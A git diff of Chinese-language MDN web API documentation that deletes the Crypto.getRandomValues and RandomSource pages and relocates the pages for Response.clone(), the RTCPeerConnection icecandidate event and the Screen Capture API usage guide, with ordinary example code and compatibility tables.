diff --git a/files/zh-cn/web/api/randomsource/getrandomvalues/index.html b/files/zh-cn/web/api/randomsource/getrandomvalues/index.html deleted file mode 100644 index 5df5fb0a83..0000000000 --- a/files/zh-cn/web/api/randomsource/getrandomvalues/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Crypto.getRandomValues() -slug: Web/API/RandomSource/getRandomValues -tags: - - API - - 加密 - - 参考 - - 安全 - - 密码学 - - 方法 -translation_of: Web/API/Crypto/getRandomValues ---- -

{{APIRef("Web Crypto API")}}

- -

Crypto.getRandomValues() 方法让你可以获取符合密码学要求的安全的随机值。传入参数的数组被随机值填充(在加密意义上的随机)。

- -

为了确保足够的性能,不使用真正的随机数生成器,但是它们正在使用具有足够熵值伪随机数生成器。它所使用的 PRNG 的实现与其他不同,但适用于加密的用途。该实现还需要使用具有足够熵的种子,如系统级熵源。

- -

语法

- -
cryptoObj.getRandomValues(typedArray);
- -

参数

- -
-
typedArray
-
是一个基于整数的 {{jsxref("TypedArray")}},它可以是 {{jsxref("Int8Array")}}、{{jsxref("Uint8Array")}}、{{jsxref("Int16Array")}}、 {{jsxref("Uint16Array")}}、 {{jsxref("Int32Array")}} 或者 {{jsxref("Uint32Array")}}。在数组中的所有的元素会被随机数重写。(注释:生成的随机数储存在 typedArray 数组上。)
-
- -

异常事件

- -
    -
  • 如果请求的长度超过 65536 字节,则异常事件 {{domxref("DOMException")}} {{exception("QuotaExceededError")}} 被抛出。
  • -
- -

例子

- -
/* 假设 window.crypto.getRandomValues 可用 */
-
-var array = new Uint32Array(10);
-window.crypto.getRandomValues(array);
-
-console.log("Your lucky numbers:");
-for (var i = 0; i < array.length; i++) {
-    console.log(array[i]);
-}
-
- -

标准

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}{{Spec2('Web Crypto API')}}Initial definition
- -

浏览器兼容性

- - - -

{{Compat("api.Crypto.getRandomValues")}}

- -

参见

- -
    -
  • 通过 {{ domxref("Window.crypto") }} 获取 {{domxref("Crypto")}} 对象。
  • -
  • {{jsxref("Math.random")}},一个非密码学安全的随机数来源。
  • -
diff --git a/files/zh-cn/web/api/randomsource/index.html b/files/zh-cn/web/api/randomsource/index.html deleted file mode 100644 index 1366009032..0000000000 --- a/files/zh-cn/web/api/randomsource/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: RandomSource -slug: Web/API/RandomSource -translation_of: Web/API/Crypto/getRandomValues -translation_of_original: Web/API/RandomSource ---- -

{{APIRef("Web Crypto API")}}

- -

RandomSource 代表密码学安全随机数的来源。它可以通过全局对象的 {{domxref("Crypto")}} 获取:网页中的 {{domxref("Window.crypto")}},Workrt 里面的 {{domxref("WorkerGlobalScope.crypto")}}。

- -

RandomSource 不是一个接口,这个类型的对象不可以被创建。

- -

属性

- -

RandomSource 既没有定义也没有属性。

- -
-
- -

方法

- -
-
{{ domxref("RandomSource.getRandomValues()") }}
-
使用密码学可靠的随机值填充传递过来的 {{ domxref("ArrayBufferView") }}。
-
- -

标准

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Crypto API', '#dfn-RandomSource')}}{{Spec2('Web Crypto API')}}Initial definition
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support11.0 {{ webkitbug("22049") }}{{CompatVersionUnknown}}{{CompatGeckoDesktop(21)}} [1]11.015.03.1
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}23{{CompatVersionUnknown}}{{CompatGeckoMobile(21)}}{{ CompatNo() }}{{ CompatNo() }}6
-
- -

[1] Although the transparent RandomSource is only available since Firefox 26, the feature was available in Firefox 21.

- -

参见

- -
    -
  • 通过 {{ domxref("Window.crypto") }} 获取一个 {{domxref("Crypto")}} 对象。
  • -
  • {{jsxref("Math.random")}},一个非密码学安全来源的随机数。
  • -
diff --git a/files/zh-cn/web/api/response/clone/index.html b/files/zh-cn/web/api/response/clone/index.html new file mode 100644 index 0000000000..0efccea0dc --- /dev/null +++ b/files/zh-cn/web/api/response/clone/index.html @@ -0,0 +1,143 @@ +--- +title: Response.clone() +slug: Web/API/Response/克隆 +tags: + - API + - Experimental + - Fetch + - Method + - Reference + - Response + - clone +translation_of: Web/API/Response/clone +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Response")}} 接口的 clone() 方法创建了一个响应对象的克隆,这个对象在所有方面都是相同的,但是存储在一个不同的变量中。

+ +

如果已经使用了响应 {{domxref("Body")}},clone() 会抛出{{jsxref("TypeError")}}。 实际上,clone()存在的主要原因是允许多次使用{{domxref("Body")}}对象(当它们是一次性使用的时候)。

+ +

语法

+ +
var response2 = response1.clone();
+ +

Parameters

+ +

None.

+ +

Value

+ +

一个 {{domxref("Response")}} 对象.

+ +

示例

+ +

在我们的 Fetch Response 克隆示例 (请参阅 Fetch Response clone live) 我们使用{{domxref("Request.Request","Request()")}} 构造函数创建一个新的 {{domxref("Request")}} 来传递一个 JPG 路径。 然后我们使用 {{domxref("GlobalFetch.fetch","fetch()")}} 获取这个请求。 当 fetch resolve 时,我们克隆它,使用两个{{domxref("Body.blob")}}调用从两个响应中提取blob,使用{{domxref("URL.createObjectURL")}} 从blob创建对象URL,并将它们显示在两个单独的{{htmlelement("img")}}元素中。

+ +
var image1 = document.querySelector('.img1');
+var image2 = document.querySelector('.img2');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  var response2 = response.clone();
+
+  response.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    image1.src = objectURL;
+  });
+
+  response2.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    image2.src = objectURL;
+  });
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-response-clone','clone()')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42)}}
+ {{CompatChrome(41)}}[1]
{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
+ 34[1]
{{CompatNo}} +

29
+ 28[1]

+
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] 此功能是在首选项后面实现的。

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" "b/files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" deleted file mode 100644 index 0efccea0dc..0000000000 --- "a/files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Response.clone() -slug: Web/API/Response/克隆 -tags: - - API - - Experimental - - Fetch - - Method - - Reference - - Response - - clone -translation_of: Web/API/Response/clone ---- -
{{APIRef("Fetch")}}
- -

{{domxref("Response")}} 接口的 clone() 方法创建了一个响应对象的克隆,这个对象在所有方面都是相同的,但是存储在一个不同的变量中。

- -

如果已经使用了响应 {{domxref("Body")}},clone() 会抛出{{jsxref("TypeError")}}。 实际上,clone()存在的主要原因是允许多次使用{{domxref("Body")}}对象(当它们是一次性使用的时候)。

- -

语法

- -
var response2 = response1.clone();
- -

Parameters

- -

None.

- -

Value

- -

一个 {{domxref("Response")}} 对象.

- -

示例

- -

在我们的 Fetch Response 克隆示例 (请参阅 Fetch Response clone live) 我们使用{{domxref("Request.Request","Request()")}} 构造函数创建一个新的 {{domxref("Request")}} 来传递一个 JPG 路径。 然后我们使用 {{domxref("GlobalFetch.fetch","fetch()")}} 获取这个请求。 当 fetch resolve 时,我们克隆它,使用两个{{domxref("Body.blob")}}调用从两个响应中提取blob,使用{{domxref("URL.createObjectURL")}} 从blob创建对象URL,并将它们显示在两个单独的{{htmlelement("img")}}元素中。

- -
var image1 = document.querySelector('.img1');
-var image2 = document.querySelector('.img2');
-
-var myRequest = new Request('flowers.jpg');
-
-fetch(myRequest).then(function(response) {
-  var response2 = response.clone();
-
-  response.blob().then(function(myBlob) {
-    var objectURL = URL.createObjectURL(myBlob);
-    image1.src = objectURL;
-  });
-
-  response2.blob().then(function(myBlob) {
-    var objectURL = URL.createObjectURL(myBlob);
-    image2.src = objectURL;
-  });
-});
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Fetch','#dom-response-clone','clone()')}}{{Spec2('Fetch')}}Initial definition
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42)}}
- {{CompatChrome(41)}}[1]
{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
- 34[1]
{{CompatNo}} -

29
- 28[1]

-
{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] 此功能是在首选项后面实现的。

- -

See also

- - diff --git a/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html new file mode 100644 index 0000000000..38fc5c1920 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html @@ -0,0 +1,135 @@ +--- +title: 'RTCPeerConnection: icecandidate event' +slug: Web/Events/icecandidate +translation_of: Web/API/RTCPeerConnection/icecandidate_event +--- +

{{SeeCompatTable}}

+ +

当 {{domxref("RTCPeerConnection")}}通过{{domxref("RTCPeerConnection.setLocalDescription()")}}方法更改本地描述之后,该{{domxref("RTCPeerConnection")}}会抛出icecandidate事件。该事件的监听器需要将更改后的描述信息传送给远端{{domxref("RTCPeerConnection")}},以更新远端的备选源。

+ +

使用指南

+ +

icecandidate 的类型为 {{domxref("RTCPeerIceCandidateEvent")}}, 在以下三种情况下会触发该事件:

+ +

分享新的源

+ +

触发icecandidate事件的首要原因:当获得新的源之后,需要将该源的信息发送给远端信号服务器,并分发至其他端的{{domxref("RTCPeerConnection")}}。其他{{domxref("RTCPeerConnection")}}通过{{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}方法将新{{domxref("RTCPeerCandidateIceEvent.candidate", "candidate")}} 中携带的信息,将新的源描述信息添加进它的备选池中;

+ +
rtcPeerConnection.onicecandidate = (event) => {
+  if (event.candidate) {
+    sendCandidateToRemotePeer(event.candidate)
+  }
+}
+
+ + + +

概述

+ +
+
规范
+
{{ SpecName('WebRTC 1.0', '#event-mediastream-icecandidate', 'icecandidate') }}
+
接口
+
{{domxref("RTCPeerConnectionIceEvent")}}
+
事件冒泡
+
+
能否取消默认
+
+
事件目标
+
{{domxref("RTCPeerConnection")}}
+
默认行为
+
+
+ +

属性

+ +

属性继承自{{domxref("RTCPeerConnectionIceEvent")}}.

+ +

方法

+ +

方法继承自 {{domxref("RTCPeerConnectionIceEvent")}}.

+ +

相关事件

+ +
    +
  • +
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{ SpecName('WebRTC 1.0', '#event-mediastream-icecandidate', 'icecandidate') }}{{Spec2('WebRTC 1.0')}}
+ +

兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参阅

+ + diff --git a/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html b/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html new file mode 100644 index 0000000000..ff32263241 --- /dev/null +++ b/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html @@ -0,0 +1,355 @@ +--- +title: 使用屏幕捕获API +slug: Web/API/Screen_Capture_API/使用屏幕捕获API +tags: + - API + - 屏幕捕获 + - 捕获 +translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture +--- +

{{DefaultAPISidebar("使用屏幕捕获API")}}

+ +

在这篇文章中,我们将研究如何使用屏幕捕获API和它的{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}方法来捕获部分或全部屏幕进行流媒体传输,通过WebRTC录制或分享。

+ +
+

Note: It may be useful to note that recent versions of the WebRTC adapter.js shim include implementations of getDisplayMedia() to enable screen sharing on browsers that support it but do not implement the current standard API. This works with at least Chrome, Edge, and Firefox.

+
+ +

捕捉屏幕内容

+ +

Capturing screen contents as a live {{domxref("MediaStream")}} is initiated by calling {{domxref("MediaDevices.getDisplayMedia", "navigator.mediaDevices.getDisplayMedia()")}}, which returns a promise that resolves to a stream containing the live screen contents.

+ +
+
开始屏幕捕捉: 使用async/await 风格
+ +
async function startCapture(displayMediaOptions) {
+  let captureStream = null;
+
+  try {
+    captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+  return captureStream;
+}
+ +

You can write this code either using an asynchronous function and the await operator, as shown above, or using the {{jsxref("Promise")}} directly, as seen below.

+ +
+
开始屏幕捕获: 使用Promise 风格 + +
function startCapture(displayMediaOptions) {
+ let captureStream = null;
+
+ return navigator.mediaDevices.getDisplayMedia(displayMediaOptions)
+    .catch(err => { console.error("Error:" + err); return null; });
+}
+ +

Either way, the {{Glossary("user agent")}} responds by presenting a user interface that prompts the user to choose the screen area to share. Both of these implementations of startCapture() return the {{domxref("MediaStream")}} containing the captured display imagery.

+ +

See {{anch("Options and constraints")}}, below, for more on both how to specify the type of surface you want as well as other ways to adjust the resulting stream.

+ +
+
Example of a window allowing the user to select a display surface to capture
+ +

Screenshot of Chrome's window for picking a source surface

+
+ +

You can then use the captured stream, captureStream, for anything that accepts a stream as input. The {{anch("Examples", "examples")}} below show a few ways to make use of the stream.

+ +

Visible vs logical display surfaces

+ +

For the purposes of the Screen Capture API, a display surface is any content object that can be selected by the API for sharing purposes. Sharing surfaces include the contents of a browser tab, a complete window, all of the applications of a window combined into a single surface, and a monitor (or group of monitors combined together into one surface).

+ +

There are two types of display surface. A visible display surface is a surface which is entirely visible on the screen, such as the frontmost window or tab, or the entire screen.

+ +

A logical display surface is one which is in part or completely obscured, either by being overlapped by another object to some extent, or by being entirely hidden or offscreen. How these are handled by the Screen Capture API varies. Generally, the browser will provide an image which obscures the hidden portion of the logical display surface in some way, such as by blurring or replacing with a color or pattern. This is done for security reasons, as the content that cannot be seen by the user may contain data which they do not want to share.

+ +

A user agent might allow the capture of the entire content of an obscured window after gaining permission from the user to do so. In this case, the user agent may include the obscured content, either by getting the current contents of the hidden portion of the window or by presenting the most-recently-visible contents if the current contents are not available.

+ +

Options and constraints

+ +

The constraints object passed into {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is a {{domxref("DisplayMediaStreamConstraints")}} object which is used to configuring the resulting stream.

+ +
+

Note: Unlike most uses of constraints in media APIs, here it's solely used to define the stream configuration, and not to filter the available choices.

+
+ +

There are three new constraints added to MediaTrackConstraints (as well as to {{domxref("MediaTrackSupportedConstraints")}} and {{domxref("MediaTrackSettings")}}) for configuring a screen capture stream:

+ +
+
{{domxref("MediaTrackConstraints.cursor", "cursor")}}
+
+

Indicates whether or not to capture the mouse cursor, and if so, whether to do so all the time or only while the mouse is in motion. The possible values are:

+ +
+
always
+
The mouse cursor should always be captured in the generated stream.
+
motion
+
The cursor should only be visible while moving, and, at the discretion of the {{Glossary("user agent")}}, for a brief time before after moving. Then the cursor is removed from the stream.
+
never
+
The cursor should never be visible in the generated stream.
+
+
+
{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}
+
A Boolean which if true indicates that the capture should include offscreen areas of the source, if there are any.
+
+ +

None of the constraints are applied in any way until after the content to capture has been selected. The contraints alter what you see in the resulting stream.

+ +

For example, if you specify a {{domxref("MediaTrackConstraints.width", "width")}} constraint for the video, it's applied by scaling the video after the user selects the area to share. It doesn't establish a restriction on the size of the source itself.

+ +
+

Note: Constraints never cause changes to the list of sources available for capture by the Screen Sharing API. This ensures that web applications can't force the user to share specific content by restricting the source list until only one item is left.

+
+ +

While display capture is in effect, the machine which is sharing screen contents will display some form of indicator so the user is aware that sharing is taking place.

+ +
+

Note: For privacy and security reasons, screen sharing sources are not enumerable using {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}. Related to this, the {{event("devicechange")}} event is never sent when there are changes to the sources available for getDisplayMedia().

+
+ +

Capturing shared audio

+ +

{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is most commonly used to capture video of a user's screen (or parts thereof). However, {{Glossary("user agent", "user agents")}} may allow the capture of audio along with the video content. The source of this audio might be the selected window, the entire computer's audio system, or the user's microphone (or a combination of all of the above).

+ +

Before starting a project that will require sharing of audio, be sure to check the {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} to see if the browsers you wish compaibility with have support for audio in captured screen streams.

+ +

To request that the screen be shared with included audio, the options passed into getDisplayMedia() might look like this:

+ +
const gdmOptions = {
+  video: true,
+  audio: true
+}
+
+ +

This allows the user total freedom to select whatever they want, within the limits of what the user agent supports. This could be refined further by specifying additional information for each of audio and video:

+ +
const gdmOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: {
+    echoCancellation: true,
+    noiseSuppression: true,
+    sampleRate: 44100
+  }
+}
+
+ +

In this example the cursor will always be visible in the capture, and the audio track should ideally have noise suppression and echo cancellation features enabled, as well as an ideal audio sample rate of 44.1kHz.

+ +

Capturing audio is always optional, and even when web content requests a stream with both audio and video, the returned {{domxref("MediaStream")}} may still have only one video track, with no audio.

+ +
+

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

+
+ +

使用捕获的数据流

+ +

The {{jsxref("promise")}} returned by {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} resolves to a {{domxref("MediaStream")}} that contains at least one video stream that contains the screen or screen area, and which is adjusted or filtered based upon the constraints specifed when getDisplayMedia() was called.

+ +

安全

+ +

As is always the case when sharing content over a network, it's important to consider the privacy and safety implications of screen sharing.

+ +

潜在的风险

+ +

Privacy and security issues surrounding screen sharing are usually not overly serious, but they do exist. The largest potential issue is users inadvertently sharing content they did not wish to share.

+ +

For example, privacy and/or security violations can easily occur if the user is sharing their screen and a visible background window happens to contain personal information, or if their password manager is visible in the shared stream. This effect can be amplified when capturing logical display surfaces, which may contain content that the user doesn't know about at all, let alone see.

+ +

User agents which take privacy seriously should obfuscate content that is not actually visible onscreen, unless authorization has been given to share that content specifically.

+ +

Authorizing capture of display contents

+ +

Before streaming of captured screen contents can begin, the {{Glossary("user agent")}} will ask the user to confirm the sharing request, and to select the content to share.

+
+
+ +

示例

+ +

Simple screen capture

+ +

In this example, the contents of the captured screen area are simply streamed into a {{HTMLElement("video")}} element on the same page.

+ +

JavaScript

+ +

There isn't all that much code needed in order to make this work, and if you're familiar with using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} to capture video from a camera, you'll find {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to be very familiar.

+ +
Setup
+ +

First, some constants are set up to reference the elements on the page to which we'll need access: the {{HTMLElement("video")}} into which the captured screen contents will be streamed, a box into which logged output will be drawn, and the start and stop buttons that will turn on and off capture of screen imagery.

+ +

The object displayMediaOptions contains the {{domxref("MediaStreamConstraints")}} to pass into getDisplayMedia(); here, the {{domxref("MediaTrackConstraints.cursor", "cursor")}} property is set to always, indicating that the mouse cursor should always be included in the captured media.

+ +
+

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

+
+ +

Finally, event listeners are established to detect user clicks on the start and stop buttons.

+ +
const videoElem = document.getElementById("video");
+const logElem = document.getElementById("log");
+const startElem = document.getElementById("start");
+const stopElem = document.getElementById("stop");
+
+// Options for getDisplayMedia()
+
+var displayMediaOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: false
+};
+
+// Set event listeners for the start and stop buttons
+startElem.addEventListener("click", function(evt) {
+  startCapture();
+}, false);
+
+stopElem.addEventListener("click", function(evt) {
+  stopCapture();
+}, false);
+ +
Logging content
+ +

To make logging of errors and other issues easy, this example overrides certain {{domxref("Console")}} methods to output their messages to the {{HTMLElement("pre")}} block whose ID is log.

+ +
console.log = msg => logElem.innerHTML += `${msg}<br>`;
+console.error = msg => logElem.innerHTML += `<span class="error">${msg}</span><br>`;
+console.warn = msg => logElem.innerHTML += `<span class="warn">${msg}<span><br>`;
+console.info = msg => logElem.innerHTML += `<span class="info">${msg}</span><br>`;
+ +

This allows us to use the familiar {{domxref("console.log()")}}, {{domxref("console.error()")}}, and so on to log information to the log box in the document.

+ +
Starting display capture
+ +

The startCapture() method, below, starts the capture of a {{domxref("MediaStream")}} whose contents are taken from a user-selected area of the screen. startCapture() is called when the "Start Capture" button is clicked.

+ +
async function startCapture() {
+  logElem.innerHTML = "";
+
+  try {
+    videoElem.srcObject = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+    dumpOptionsInfo();
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+}
+ +

After clearing the contents of the log in order to get rid of any leftover text from the previous attempt to connect, startCapture() calls {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, passing into it the constraints object defined by displayMediaOptions. Using {{jsxref("await")}}, the following line of code does not get executed until after the {{jsxref("promise")}} returned by getDisplayMedia() resolves. Upon resolution, the promise returns a {{domxref("MediaStream")}}, which will stream the contents of the screen, window, or other region selected by the user.

+ +

The stream is connected to the {{HTMLElement("video")}} element by storing the returned MediaStream into the element's {{domxref("HTMLMediaElement.srcObject", "srcObject")}}.

+ +

The dumpOptionsInfo() function—which we will look at in a moment—dumps information about the stream to the log box for educational purposes.

+ +

If any of that fails, the catch() clause outputs an error message to the log box.

+ +
Stopping display capture
+ +

The stopCapture() method is called when the "Stop Capture" button is clicked. It stops the stream by getting its track list using {{domxref("MediaStream.getTracks()")}}, then calling each track's {domxref("MediaStreamTrack.stop, "stop()")}} method. Once that's done, srcObject is set to null to make sure it's understood by anyone interested that there's no stream connected.

+ +
function stopCapture(evt) {
+  let tracks = videoElem.srcObject.getTracks();
+
+  tracks.forEach(track => track.stop());
+  videoElem.srcObject = null;
+}
+ +
Dumping configuration information
+ +

For informational purposes, the startCapture() method shown above calls a method named dumpOptions(), which outputs the current track settings as well as the constraints that were placed upon the stream when it was created.

+ +
function dumpOptionsInfo() {
+  const videoTrack = videoElem.srcObject.getVideoTracks()[0];
+
+  console.info("Track settings:");
+  console.info(JSON.stringify(videoTrack.getSettings(), null, 2));
+  console.info("Track constraints:");
+  console.info(JSON.stringify(videoTrack.getConstraints(), null, 2));
+}
+ +

The track list is obtained by calling {{domxref("MediaStream.getVideoTracks", "getVideoTracks()")}} on the capture'd screen's {{domxref("MediaStream")}}. The settings currently in effect are obtained using {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} and the established constraints are gotten with {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}

+ +

HTML

+ +

The HTML starts with a simple introductory paragraph, then gets into the meat of things.

+ +
    +
+ +
<p>This example shows you the contents of the selected part of your display.
+Click the Start Capture button to begin.</p>
+
+<p><button id="start">Start Capture</button>&nbsp;<button id="stop">Stop Capture</button></p>
+
+<video id="video" autoplay></video>
+<br>
+
+<strong>Log:</strong>
+<br>
+<pre id="log"></pre>
+ +

The key parts of the HTML are:

+ +
    +
  1. A {{HTMLElement("button")}} labeled "Start Capture" which, when clicked, calls the startCapture() function to request access to, and begin capturing, screen contents.
  2. +
  3. A second button, "Stop Capture", which upon being clicked calls stopCapture() to terminate capture of screen contents.
  4. +
  5. A {{HTMLElement("video")}} into which the captured screen contents are streamed.
  6. +
  7. A {{HTMLElement("pre")}} block into which logged text is placed by the intercepted {{domxref("Console")}}method.
  8. +
+ +

CSS

+ +

The CSS is entirely cosmetic in this example. The video is given a border, and its width is set to occupy nearly the entire available horizontal space (width: 98%). {{cssxref("max-width")}} is set to 860px to set an absolute upper limit on the video's size,

+ +

The error, warn, and info classes are used to style the corresponding console output types.

+ +
#video {
+  border: 1px solid #999;
+  width: 98%;
+  max-width: 860px;
+}
+
+.error {
+  color: red;
+}
+
+.warn {
+  color: orange;
+}
+
+.info {
+  color: darkgreen;
+}
+ +

Result

+ +

The final product looks like this. If your browser supports Screen Capture API, clicking "Start Capture" will present the {{Glossary("user agent", "user agent's")}} interface for selecting a screen, window, or tab to share.

+ +

{{EmbedLiveSample("Simple_screen_capture", 640, 680, "", "", "", "display-capture")}}

+ +

安全

+ +

In order to function when Feature Policy is enabled, you will need the display-capture permission. This can be done using the {{HTTPHeader("Feature-Policy")}} {{Glossary("HTTP")}} header or—if you're using the Screen Capture API in an {{HTMLElement("iframe")}}, the <iframe> element's {{htmlattrxref("allow", "iframe")}} attribute.

+ +

For example, this line in the HTTP headers will enable Screen Capture API for the document and any embedded {{HTMLElement("iframe")}} elements that are loaded from the same origin:

+ +
Feature-Policy: display-capture 'self'
+ +

If you're performing screen capture within an <iframe>, you can request permission just for that frame, which is clearly more secure than requesting a more general permission:

+ +
<iframe src="https://mycode.example.net/etc" allow="display-capture">
+</iframe>
+
+ +

相关链接

+ + +
diff --git "a/files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" "b/files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" deleted file mode 100644 index ff32263241..0000000000 --- "a/files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" +++ /dev/null @@ -1,355 +0,0 @@ ---- -title: 使用屏幕捕获API -slug: Web/API/Screen_Capture_API/使用屏幕捕获API -tags: - - API - - 屏幕捕获 - - 捕获 -translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture ---- -

{{DefaultAPISidebar("使用屏幕捕获API")}}

- -

在这篇文章中,我们将研究如何使用屏幕捕获API和它的{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}方法来捕获部分或全部屏幕进行流媒体传输,通过WebRTC录制或分享。

- -
-

Note: It may be useful to note that recent versions of the WebRTC adapter.js shim include implementations of getDisplayMedia() to enable screen sharing on browsers that support it but do not implement the current standard API. This works with at least Chrome, Edge, and Firefox.

-
- -

捕捉屏幕内容

- -

Capturing screen contents as a live {{domxref("MediaStream")}} is initiated by calling {{domxref("MediaDevices.getDisplayMedia", "navigator.mediaDevices.getDisplayMedia()")}}, which returns a promise that resolves to a stream containing the live screen contents.

- -
-
开始屏幕捕捉: 使用async/await 风格
- -
async function startCapture(displayMediaOptions) {
-  let captureStream = null;
-
-  try {
-    captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
-  } catch(err) {
-    console.error("Error: " + err);
-  }
-  return captureStream;
-}
- -

You can write this code either using an asynchronous function and the await operator, as shown above, or using the {{jsxref("Promise")}} directly, as seen below.

- -
-
开始屏幕捕获: 使用Promise 风格 - -
function startCapture(displayMediaOptions) {
- let captureStream = null;
-
- return navigator.mediaDevices.getDisplayMedia(displayMediaOptions)
-    .catch(err => { console.error("Error:" + err); return null; });
-}
- -

Either way, the {{Glossary("user agent")}} responds by presenting a user interface that prompts the user to choose the screen area to share. Both of these implementations of startCapture() return the {{domxref("MediaStream")}} containing the captured display imagery.

- -

See {{anch("Options and constraints")}}, below, for more on both how to specify the type of surface you want as well as other ways to adjust the resulting stream.

- -
-
Example of a window allowing the user to select a display surface to capture
- -

Screenshot of Chrome's window for picking a source surface

-
- -

You can then use the captured stream, captureStream, for anything that accepts a stream as input. The {{anch("Examples", "examples")}} below show a few ways to make use of the stream.

- -

Visible vs logical display surfaces

- -

For the purposes of the Screen Capture API, a display surface is any content object that can be selected by the API for sharing purposes. Sharing surfaces include the contents of a browser tab, a complete window, all of the applications of a window combined into a single surface, and a monitor (or group of monitors combined together into one surface).

- -

There are two types of display surface. A visible display surface is a surface which is entirely visible on the screen, such as the frontmost window or tab, or the entire screen.

- -

A logical display surface is one which is in part or completely obscured, either by being overlapped by another object to some extent, or by being entirely hidden or offscreen. How these are handled by the Screen Capture API varies. Generally, the browser will provide an image which obscures the hidden portion of the logical display surface in some way, such as by blurring or replacing with a color or pattern. This is done for security reasons, as the content that cannot be seen by the user may contain data which they do not want to share.

- -

